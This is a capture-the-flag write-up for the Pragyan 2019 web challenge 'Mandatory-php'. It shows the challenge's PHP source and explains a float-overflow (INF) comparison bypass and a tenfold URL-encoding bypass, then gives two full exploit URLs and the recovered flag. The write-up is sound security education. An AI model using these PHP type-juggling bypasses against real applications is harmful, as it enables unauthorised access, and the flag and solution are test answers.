Writeup: Pragyan 2019 - Mandatory-php

Information

  • category: web
  • points: 125

Description

PHP, PHP everywhere get the flag and earn your points there.
Link: http://159.89.166.12:14000/

Writeup

This is how the index page looks like (we can see the PHP code because the file is highlighted) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
include 'flag.php';
highlight_file('index.php');
$a = $_GET["val1"];
$b = $_GET["val2"];
$c = $_GET["val3"];
$d = $_GET["val4"];
if(preg_match('/[^A-Za-z]/', $a))
die('oh my gawd...');
$a=hash("sha256",$a);
$a=(log10($a**(0.5)))**2;
if($c>0 && $d>0 && $d>$c && $a==$c*$c+$d*$d)
$s1="true";
else
die("Bye...");
if($s1==="true")
echo $flag1;
for($i=1;$i<=10;$i++){
if($b==urldecode($b))
die('duck');
else
$b=urldecode($b);
}
if($b==="WoAHh!")
$s2="true";
else
die('oops..');
if($s2==="true")
echo $flag2;
die('end...');
?>

We need to pass with GET method 4 values (val1=a,val2=b,val3=c,val4=d).

a‘s value must be a character and d must be greater than c, both greater than 0.

If we put in a‘s value the string : a , It will become after the sha256 functions :

ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb

And If we compute the log10 It will become :

INF

There’s a vulnerability that we can exploit in order to bypass the control flow, we can put in d a huge value that the PHP will transform in INF and the control will be exploited.

First payload :

1
http://159.89.166.12:14000/?val1=a&val2=0&val3=1&val4=1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000055555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444433333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333332222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222221111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111888888888888888888888888888888888888888888888888888888888888

First piece of flag :

pctf{b3_c4r3fu1_

In order to bypass the second control where b is urldecoded 10 times, we can URL encode WoAHh! 10 Times ( %21 is ! and %25 is %) :

WoAHh%2525252525252525252521

Second Payload :

1
http://159.89.166.12:14000/?val1=a&val2=WoAHh%2525252525252525252521&val3=5&val4=1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000055555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444433333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333332222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222221111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111888888888888888888888888888888888888888888888888888888888888

Second piece of flag :

w1th_pHp_f31145}

Flag

pctf{b3_c4r3fu1_w1th_pHp_f31145}